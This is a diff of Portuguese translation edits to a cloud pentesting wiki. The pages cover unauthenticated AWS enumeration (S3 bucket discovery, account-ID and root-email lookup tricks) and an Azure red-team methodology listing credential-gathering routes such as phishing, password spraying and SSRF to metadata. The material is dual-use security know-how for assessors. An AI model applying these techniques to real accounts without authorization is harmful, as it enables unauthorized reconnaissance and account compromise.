-# AWS - MSK Unauthenticated Enum
+# AWS - MSK Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
index e4238b24b..585b652b2 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - RDS Unauthenticated Enum
+# AWS - RDS Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ## Porta Pública
 
-É possível dar acesso público ao **banco de dados da internet**. O atacante ainda precisará **saber o nome de usuário e a senha,** acesso IAM ou um **exploit** para entrar no banco de dados.
+É possível dar acesso público ao **banco de dados pela internet**. O atacante ainda precisará **saber o nome de usuário e a senha,** acesso IAM ou um **exploit** para entrar no banco de dados.
 
 ## Snapshots Públicos do RDS
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
index eb80915cd..671d377af 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
@@ -1,8 +1,8 @@
-# AWS - Redshift Unauthenticated Enum
+# AWS - Redshift Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Modelo de URL pública
+### Modelo de URL Pública
 ```
 {user_provided}.<random>.<region>.redshift.amazonaws.com
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
index 6f9332705..25bdbe630 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
@@ -12,7 +12,7 @@ As empresas podem ter **permissões de buckets mal configuradas**, dando acesso
 
 ### Encontrando Buckets AWS
 
-Métodos diferentes para descobrir quando uma página da web está usando AWS para armazenar alguns recursos:
+Diferentes métodos para encontrar quando uma página da web está usando AWS para armazenar alguns recursos:
 
 #### Enumeração & OSINT:
 
@@ -28,7 +28,7 @@ http://[bucket_name].s3.amazonaws.com/
 - Verifique por **CNAMES** como `resources.domain.com` que pode ter o CNAME `bucket.s3.amazonaws.com`
 - Verifique [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), um site com **buckets abertos já descobertos**.
 - O **nome do bucket** e o **nome do domínio do bucket** precisam ser **os mesmos.**
-- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá, ele redireciona você para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
+- **flaws.cloud** está em **IP** 52.92.181.107 e se você for lá, ele redireciona você para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
 - Para verificar se é um bucket, você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
 
 #### Força Bruta
@@ -85,7 +85,7 @@ Você pode encontrar todas as regiões suportadas pela AWS em [**https://docs.aw
 
 #### Por DNS
 
-Você pode obter a região de um bucket com um **`dig`** e **`nslookup`** fazendo uma **solicitação DNS do IP descoberto**:
+Você pode obter a região de um bucket com um **`dig`** e **`nslookup`** fazendo uma **requisição DNS do IP descoberto**:
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -101,7 +101,7 @@ ou você pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.co
 
 #### Tentando
 
-Se você tentar acessar um bucket, mas no **nome do domínio você especificar outra região** (por exemplo, o bucket está em `bucket.s3.amazonaws.com`, mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`, então você será **indicado para o local correto**:
+Se você tentar acessar um bucket, mas no **nome do domínio você especificar outra região** (por exemplo, o bucket está em `bucket.s3.amazonaws.com`, mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`), então você será **indicado para o local correto**:
 
 ![](<../../../images/image (106).png>)
 
@@ -131,7 +131,7 @@ Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque ape
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
-### Obter ID da Conta a partir de um Bucket público
+### Obter ID da Conta de um Bucket público
 
 É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Chave de Condição de Política**. Esta condição **restrige o acesso com base no bucket S3** em que uma conta está (outras políticas baseadas em conta restringem com base na conta em que o principal solicitante está).\
 E como a política pode conter **coringas**, é possível encontrar o número da conta **apenas um número por vez**.
@@ -146,7 +146,7 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
 # With an object
 s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
 ```
-Esta técnica também funciona com URLs do API Gateway, URLs do Lambda, conjuntos de dados do Data Exchange e até mesmo para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
+Essa técnica também funciona com URLs do API Gateway, URLs do Lambda, conjuntos de dados do Data Exchange e até mesmo para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
 
 ### Confirmando que um bucket pertence a uma conta AWS
 
@@ -160,7 +160,7 @@ curl -X GET "[bucketname].amazonaws.com/" \
 ```
 Se o erro for "Acesso Negado", isso significa que o ID da conta estava errado.
 
-### Usando Emails como enumeração de conta root
+### Emails usados como enumeração de conta root
 
 Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de email está relacionado a alguma conta AWS **tentando conceder permissões a um email** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o email é um usuário root de alguma conta AWS:
 ```python
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index 19d6e459a..9dbc3f9ca 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -10,12 +10,12 @@ Para mais informações sobre SNS, consulte:
 ../aws-services/aws-sns-enum.md
 {{#endref}}
 
-### Aberto a Todos
+### Aberto para Todos
 
 Quando você configura um tópico SNS a partir do console da web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
 
 <figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
 
-Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou forçar nomes potenciais para tópicos), você pode **verificar** se pode **publicar** ou **se inscrever** **neles**.
+Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou forçar nomes potenciais para tópicos), você pode **verificar** se pode **publicar** ou **se inscrever** neles.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index fca1dae4d..de9bbb511 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - SQS Unauthenticated Enum
+# AWS - SQS Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,7 +10,7 @@ Para mais informações sobre SQS, consulte:
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Modelo de URL pública
+### Modelo de URL Pública
 ```
 https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
 ```
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 81ef40e48..62f9d7669 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -10,13 +10,13 @@ az-basic-information/
 
 ## Metodologia de Pentesting/Red Team do Azure
 
-Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos do Azure e os **serviços externos** estão conectados.
+Para auditar um ambiente AZURE, é muito importante saber: quais **serviços estão sendo utilizados**, o que está **sendo exposto**, quem tem **acesso** a quê e como os serviços internos do Azure e os **serviços externos** estão conectados.
 
 Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente Azure** é conseguir obter algumas **credenciais** para o Azure AD. Aqui estão algumas ideias sobre como fazer isso:
 
 - **Vazamentos** no github (ou similar) - OSINT
 - **Engenharia** Social
-- Reutilização de **senhas** (vazamentos de senhas)
+- Reutilização de **Senhas** (vazamentos de senhas)
 - Vulnerabilidades em Aplicações Hospedadas no Azure
 - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) com acesso ao endpoint de metadados
 - **Leitura de Arquivo Local**
@@ -27,9 +27,9 @@ Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambient
 - **`az logout`** remove o token.
 - Versões mais antigas do **`Az PowerShell`** armazenavam **tokens de acesso** em **texto claro** no **`TokenCache.dat`**. Também armazena **ServicePrincipalSecret** em **texto claro** no **`AzureRmContext.json`**. O cmdlet **`Save-AzContext`** pode ser usado para **armazenar** **tokens**.\
 Use `Disconnect-AzAccount` para removê-los.
-- **Terceiros** **comprometidos**
+- Terceiros **comprometidos**
 - Funcionário **Interno**
-- [**Phishing Comum**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciais ou Oauth App)
+- [**Phishing Comum**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciais ou aplicativo Oauth)
 - [Phishing de Autenticação por Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
 - [**Password Spraying** do Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
@@ -62,7 +62,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 Nos casos em que você tem algumas credenciais válidas, mas não consegue fazer login, estas são algumas proteções comuns que podem estar em vigor:
 
 - **Whitelist de IP** -- Você precisa comprometer um IP válido
-- **Restrições geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos)
+- **Restrições Geográficas** -- Descubra onde o usuário mora ou onde estão os escritórios da empresa e obtenha um IP da mesma cidade (ou país, pelo menos)
 - **Navegador** -- Talvez apenas um navegador de um determinado SO (Windows, Linux, Mac, Android, iOS) seja permitido. Descubra qual SO a vítima/empresa usa.
 - Você também pode tentar **comprometer credenciais de Service Principal**, pois geralmente são menos limitadas e seu login é menos revisado
 
@@ -134,7 +134,7 @@ az-services/az-azuread.md
 {{#endref}}
 
 > [!NOTE]
-> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
+> Agora que você **tem algumas informações sobre suas credenciais** (e se você é uma equipe vermelha, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\
 > Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.**
 
 ## App Service SCM
@@ -155,7 +155,7 @@ Usando o parâmetro **`--debug`**, é possível ver todas as requisições que a
 ```bash
 az account management-group list --output table --debug
 ```
-Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer: 
+Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer:
 
 {{#tabs }}
 {{#tab name="Bash" }}
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index d22ebc2e5..aa0839cf4 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -28,7 +28,7 @@
 
 ### Grupos de Recursos
 
-[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Um grupo de recursos é um **container** que contém **recursos relacionados** para uma solução do Azure. O grupo de recursos pode incluir todos os recursos para a solução, ou apenas aqueles **recursos que você deseja gerenciar como um grupo**. Geralmente, adicione **recursos** que compartilham o **mesmo ciclo de vida** ao mesmo grupo de recursos para que você possa facilmente implantar, atualizar e excluí-los como um grupo.
+[Dos docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Um grupo de recursos é um **container** que contém **recursos relacionados** para uma solução do Azure. O grupo de recursos pode incluir todos os recursos para a solução ou apenas aqueles **recursos que você deseja gerenciar como um grupo**. Geralmente, adicione **recursos** que compartilham o **mesmo ciclo de vida** ao mesmo grupo de recursos para que você possa facilmente implantar, atualizar e excluí-los como um grupo.
 
 Todos os **recursos** devem estar **dentro de um grupo de recursos** e podem pertencer apenas a um grupo e, se um grupo de recursos for excluído, todos os recursos dentro dele também são excluídos.
 
@@ -42,7 +42,7 @@ O formato de um ID de Recurso do Azure é o seguinte:
 
 - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
 
-Para uma máquina virtual chamada myVM em um grupo de recursos `myResourceGroup` sob o ID de assinatura `12345678-1234-1234-1234-123456789012`, o ID de Recurso do Azure se parece com isto:
+Para uma máquina virtual chamada myVM em um grupo de recursos `myResourceGroup` sob o ID da assinatura `12345678-1234-1234-1234-123456789012`, o ID de Recurso do Azure se parece com isto:
 
 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
@@ -82,7 +82,7 @@ Você pode verificá-las em [https://learn.microsoft.com/en-us/entra/fundamental
 - Ler todos os usuários, Grupos, Aplicações, Dispositivos, Funções, Assinaturas e suas propriedades públicas
 - Convidar Convidados (_pode ser desativado_)
 - Criar Grupos de Segurança
-- Ler associações de Grupos não ocultas
+- Ler associações de Grupo não ocultas
 - Adicionar convidados a Grupos de Propriedade
 - Criar nova aplicação (_pode ser desativado_)
 - Adicionar até 50 dispositivos ao Azure (_pode ser desativado_)
@@ -100,12 +100,12 @@ Você pode verificá-las em [https://learn.microsoft.com/en-us/entra/fundamental
 - Isso não restringe o acesso à API do portal (apenas web)
 - Permitir que os usuários conectem contas de trabalho ou escolares com o LinkedIn: Padrão **Sim**
 - Mostrar manter usuário conectado: Padrão **Sim**
-- Restringir usuários de recuperar a(s) chave(s) do BitLocker para seus dispositivos de propriedade: Padrão Não (verifique nas Configurações do Dispositivo)
+- Restringir usuários de recuperar a(s) chave(s) do BitLocker para seus dispositivos: Padrão Não (verifique nas Configurações do Dispositivo)
 - Ler outros usuários: Padrão **Sim** (via Microsoft Graph)
 - **Convidados**
 - **Restrições de acesso de usuários convidados**
 - **Usuários convidados têm o mesmo acesso que membros** concede todas as permissões de usuários membros a usuários convidados por padrão.
-- **Usuários convidados têm acesso limitado a propriedades e associações de objetos de diretório (padrão)** restringe o acesso de convidados apenas ao seu próprio perfil de usuário por padrão. O acesso a informações de outros usuários e grupos não é mais permitido.
+- **Usuários convidados têm acesso limitado a propriedades e associações de objetos de diretório (padrão)** restringe o acesso do convidado apenas ao seu próprio perfil de usuário por padrão. O acesso a informações de outros usuários e grupos não é mais permitido.
 - **O acesso de usuários convidados é restrito a propriedades e associações de seus próprios objetos de diretório** é o mais restritivo.
 - **Convidados podem convidar**
 - **Qualquer pessoa na organização pode convidar usuários convidados, incluindo convidados e não administradores (mais inclusivo) - Padrão**
@@ -123,7 +123,7 @@ Você pode verificá-las em [https://learn.microsoft.com/en-us/entra/fundamental
 Existem **2 tipos de grupos**:
 
 - **Segurança**: Este tipo de grupo é usado para dar acesso a membros a aplicações, recursos e atribuir licenças. Usuários, dispositivos, principais de serviço e outros grupos podem ser membros.
-- **Microsoft 365**: Este tipo de grupo é usado para colaboração, dando acesso a uma caixa de correio compartilhada, calendário, arquivos, site do SharePoint, e assim por diante. Os membros do grupo podem ser apenas usuários.
+- **Microsoft 365**: Este tipo de grupo é usado para colaboração, dando acesso a membros a uma caixa de correio compartilhada, calendário, arquivos, site do SharePoint, e assim por diante. Os membros do grupo podem ser apenas usuários.
 - Isso terá um **endereço de e-mail** com o domínio do inquilino do EntraID.
 
 Existem **2 tipos de associações**:
@@ -152,7 +152,7 @@ Um **Registro de Aplicativo** é uma configuração que permite que uma aplicaç
 1. Se um **certificado** ou **segredo** for gerado, é possível que uma pessoa **faça login como o principal de serviço** com ferramentas CLI conhecendo o **ID da aplicação**, o **segredo** ou **certificado** e o **inquilino** (domínio ou ID).
 4. **Permissões da API:** Especifica quais recursos ou APIs o aplicativo pode acessar.
 5. **Configurações de Autenticação:** Define os fluxos de autenticação suportados pelo aplicativo (por exemplo, OAuth2, OpenID Connect).
-6. **Principal de Serviço**: Um principal de serviço é criado quando um aplicativo é criado (se for feito a partir do console da web) ou quando é instalado em um novo inquilino.
+6. **Principal de Serviço**: Um principal de serviço é criado quando um aplicativo é criado (se for feito a partir do console web) ou quando é instalado em um novo inquilino.
 1. O **principal de serviço** receberá todas as permissões solicitadas com as quais foi configurado.
 
 ### Permissões de Consentimento Padrão
@@ -180,20 +180,20 @@ Um **Registro de Aplicativo** é uma configuração que permite que uma aplicaç
 
 ### **Identidade Gerenciada (Metadados)**
 
-Identidades gerenciadas no Azure Active Directory oferecem uma solução para **gerenciar automaticamente a identidade** de aplicativos. Essas identidades são usadas por aplicativos para o propósito de **conectar-se** a **recursos** compatíveis com a autenticação do Azure Active Directory (**Azure AD**). Isso permite **remover a necessidade de codificar credenciais de nuvem** no código, pois o aplicativo poderá contatar o serviço de **metadados** para obter um token válido para **realizar ações** como a identidade gerenciada indicada no Azure.
+Identidades gerenciadas no Azure Active Directory oferecem uma solução para **gerenciar automaticamente a identidade** de aplicativos. Essas identidades são usadas por aplicativos para o propósito de **conectar-se** a **recursos** compatíveis com autenticação do Azure Active Directory (**Azure AD**). Isso permite **remover a necessidade de codificar credenciais de nuvem** no código, pois o aplicativo poderá contatar o serviço de **metadados** para obter um token válido para **realizar ações** como a identidade gerenciada indicada no Azure.
 
 Existem dois tipos de identidades gerenciadas:
 
 - **Atribuída pelo sistema**. Alguns serviços do Azure permitem que você **ative uma identidade gerenciada diretamente em uma instância de serviço**. Quando você ativa uma identidade gerenciada atribuída pelo sistema, um **principal de serviço** é criado no inquilino do Entra ID confiável pela assinatura onde o recurso está localizado. Quando o **recurso** é **excluído**, o Azure automaticamente **exclui** a **identidade** para você.
-- **Atribuída pelo usuário**. Também é possível que os usuários gerem identidades gerenciadas. Estas são criadas dentro de um grupo de recursos dentro de uma assinatura e um principal de serviço será criado no EntraID confiável pela assinatura. Em seguida, você pode atribuir a identidade gerenciada a uma ou **mais instâncias** de um serviço do Azure (múltiplos recursos). Para identidades gerenciadas atribuídas pelo usuário, a **identidade é gerenciada separadamente dos recursos que a utilizam**.
+- **Atribuída pelo usuário**. Também é possível que os usuários gerem identidades gerenciadas. Essas são criadas dentro de um grupo de recursos dentro de uma assinatura e um principal de serviço será criado no EntraID confiável pela assinatura. Em seguida, você pode atribuir a identidade gerenciada a uma ou **mais instâncias** de um serviço do Azure (múltiplos recursos). Para identidades gerenciadas atribuídas pelo usuário, a **identidade é gerenciada separadamente dos recursos que a utilizam**.
 
-Identidades Gerenciadas **não geram credenciais eternas** (como senhas ou certificados) para acessar como o principal de serviço associado a ela.
+Identidades Gerenciadas **não geram credenciais eternas** (como senhas ou certificados) para acessar como o principal de serviço anexado a ela.
 
 ### Aplicações Empresariais
 
 É apenas uma **tabela no Azure para filtrar principais de serviço** e verificar as aplicações que foram atribuídas a.
 
-**Não é outro tipo de “aplicação”**, não existe nenhum objeto no Azure que seja uma “Aplicação Empresarial”, é apenas uma abstração para verificar os Principais de Serviço, Registros de Aplicativos e Identidades Gerenciadas.
+**Não é outro tipo de “aplicação”**, não há nenhum objeto no Azure que seja uma “Aplicação Empresarial”, é apenas uma abstração para verificar os Principais de Serviço, Registros de Aplicativos e Identidades Gerenciadas.
 
 ### Unidades Administrativas
 
@@ -205,7 +205,7 @@ Exemplo:
 - Implementação:
 - Criar Unidades Administrativas para cada região (por exemplo, "AU América do Norte", "AU Europa").
 - Preencher AUs com usuários de suas respectivas regiões.
-- AUs podem **conter usuários, grupos ou dispositivos**
+- AUs podem **contener usuários, grupos ou dispositivos**
 - AUs suportam **associações dinâmicas**
 - AUs **não podem conter AUs**
 - Atribuir Funções Administrativas:
@@ -219,9 +219,9 @@ Exemplo:
 - A função mais privilegiada é **Administrador Global**
 - Na descrição da função, é possível ver suas **permissões granulares**
 
-## Funções e Permissões
+## Funções & Permissões
 
-**Funções** são **atribuídas** a **principais** em um **escopo**: `principal -[TEM FUNÇÃO]->(escopo)`
+**Funções** são **atribuídas** a **principais** em um **escopo**: `principal -[HAS ROLE]->(scope)`
 
 **Funções** atribuídas a **grupos** são **herdadas** por todos os **membros** do grupo.
 
@@ -231,15 +231,15 @@ Dependendo do escopo ao qual a função foi atribuída, a **função** pode ser
 
 | **Proprietário**                     | <ul><li>Acesso total a todos os recursos</li><li>Pode gerenciar acesso para outros usuários</li></ul> | Todos os tipos de recursos |
 | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
-| **Contribuinte**               | <ul><li>Acesso total a todos os recursos</li><li>Não pode gerenciar acesso</li></ul>              | Todos os tipos de recursos |
+| **Contribuidor**               | <ul><li>Acesso total a todos os recursos</li><li>Não pode gerenciar acesso</li></ul>              | Todos os tipos de recursos |
 | **Leitor**                    | • Visualizar todos os recursos                                                                     | Todos os tipos de recursos |
 | **Administrador de Acesso do Usuário** | <ul><li>Visualizar todos os recursos</li><li>Pode gerenciar acesso para outros usuários</li></ul>           | Todos os tipos de recursos |
 
 ### Funções Integradas
 
-[Dos documentos: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[O controle de acesso baseado em função do Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tem várias **funções integradas do Azure** que você pode **atribuir** a **usuários, grupos, principais de serviço e identidades gerenciadas**. As atribuições de função são a maneira de controlar **o acesso aos recursos do Azure**. Se as funções integradas não atenderem às necessidades específicas de sua organização, você pode criar suas próprias [**funções personalizadas do Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
+[Dos docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[O controle de acesso baseado em função do Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tem várias **funções integradas do Azure** que você pode **atribuir** a **usuários, grupos, principais de serviço e identidades gerenciadas**. As atribuições de função são a maneira de controlar **acesso aos recursos do Azure**. Se as funções integradas não atenderem às necessidades específicas de sua organização, você pode criar suas próprias [**funções personalizadas do Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
 
-As funções **integradas** se aplicam apenas aos **recursos** para os quais são **destinadas**, por exemplo, verifique estes 2 exemplos de **funções integradas sobre recursos de Computação**:
+As funções **Integradas** se aplicam apenas aos **recursos** para os quais são **destinadas**, por exemplo, verifique estes 2 exemplos de **Funções Integradas sobre Recursos de Computação**:
 
 | [Leitor de Backup de Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Fornece permissão ao cofre de backup para realizar backup de disco.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
@@ -301,9 +301,9 @@ Exemplo de JSON de permissões para uma função personalizada:
 
 ### Administrador Global
 
-Administrador Global é um papel do Entra ID que concede **controle total sobre o locatário do Entra ID**. No entanto, ele não concede nenhuma permissão sobre recursos do Azure por padrão.
+O Administrador Global é um papel do Entra ID que concede **controle total sobre o locatário do Entra ID**. No entanto, ele não concede nenhuma permissão sobre recursos do Azure por padrão.
 
-Usuários com o papel de Administrador Global têm a capacidade de '**elevar' para o papel de Administrador de Acesso do Usuário no Grupo de Gerenciamento Raiz**. Assim, Administradores Globais podem gerenciar o acesso em **todas as assinaturas e grupos de gerenciamento do Azure.**\
+Usuários com o papel de Administrador Global têm a capacidade de '**elevar' para o papel de Administrador de Acesso de Usuário do Azure no Grupo de Gerenciamento Raiz**. Assim, Administradores Globais podem gerenciar o acesso em **todas as assinaturas e grupos de gerenciamento do Azure.**\
 Essa elevação pode ser feita no final da página: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 <figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
@@ -361,9 +361,9 @@ Essa estrutura hierárquica permite uma gestão eficiente e escalável das permi
 ### Azure RBAC vs ABAC
 
 **RBAC** (controle de acesso baseado em função) é o que já vimos nas seções anteriores: **Atribuir uma função a um principal para conceder acesso** a um recurso.\
-No entanto, em alguns casos, você pode querer fornecer **um gerenciamento de acesso mais detalhado** ou **simplificar** a gestão de **centenas** de **atribuições** de função.
+No entanto, em alguns casos, você pode querer fornecer **uma gestão de acesso mais granular** ou **simplificar** a gestão de **centenas** de **atribuições** de função.
 
-O **ABAC** do Azure (controle de acesso baseado em atributos) se baseia no Azure RBAC, adicionando **condições de atribuição de função baseadas em atributos** no contexto de ações específicas. Uma _condição de atribuição de função_ é uma **verificação adicional que você pode opcionalmente adicionar à sua atribuição de função** para fornecer um controle de acesso mais detalhado. Uma condição filtra as permissões concedidas como parte da definição de função e da atribuição de função. Por exemplo, você pode **adicionar uma condição que exige que um objeto tenha uma tag específica para ler o objeto**.\
+O **ABAC** do Azure (controle de acesso baseado em atributos) se baseia no Azure RBAC, adicionando **condições de atribuição de função com base em atributos** no contexto de ações específicas. Uma _condição de atribuição de função_ é uma **verificação adicional que você pode opcionalmente adicionar à sua atribuição de função** para fornecer um controle de acesso mais granular. Uma condição filtra as permissões concedidas como parte da definição de função e da atribuição de função. Por exemplo, você pode **adicionar uma condição que exige que um objeto tenha uma tag específica para ler o objeto**.\
 Você **não pode** explicitamente **negar** **acesso** a recursos específicos **usando condições**.
 
 ## Referências
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index caa061bd9..3595ac1ef 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -36,7 +36,7 @@ O Entra ID é a plataforma de gerenciamento de identidade e acesso (IAM) baseada
 2. **Clientes Públicos:**
 - Não possuem credenciais únicas.
 - Não podem se autenticar de forma segura no servidor de autorização.
-- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há um mecanismo para o servidor de autorização verificar a legitimidade da aplicação.
+- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, pois não há mecanismo para o servidor de autorização verificar a legitimidade da aplicação.
 
 ## Tokens de Autenticação
 
@@ -65,7 +65,7 @@ O comando `az account get-access-token --resource-type [...]` suporta os seguint
 
 <summary>exemplos de aud</summary>
 
-- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a API do Azure AD Graph legada (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD).
+- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a API do Azure AD Graph legada (descontinuada), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD).
 - `https://graph.windows.net/`
 
 * **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da API do Azure Resource Manager. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais.
@@ -80,7 +80,7 @@ O comando `az account get-access-token --resource-type [...]` suporta os seguint
 - **media (Azure Media Services)**: Usado para acessar os Serviços de Mídia do Azure, que fornecem serviços de processamento e entrega de mídia baseados em nuvem para conteúdo de vídeo e áudio.
 - `https://rest.media.azure.net`
 
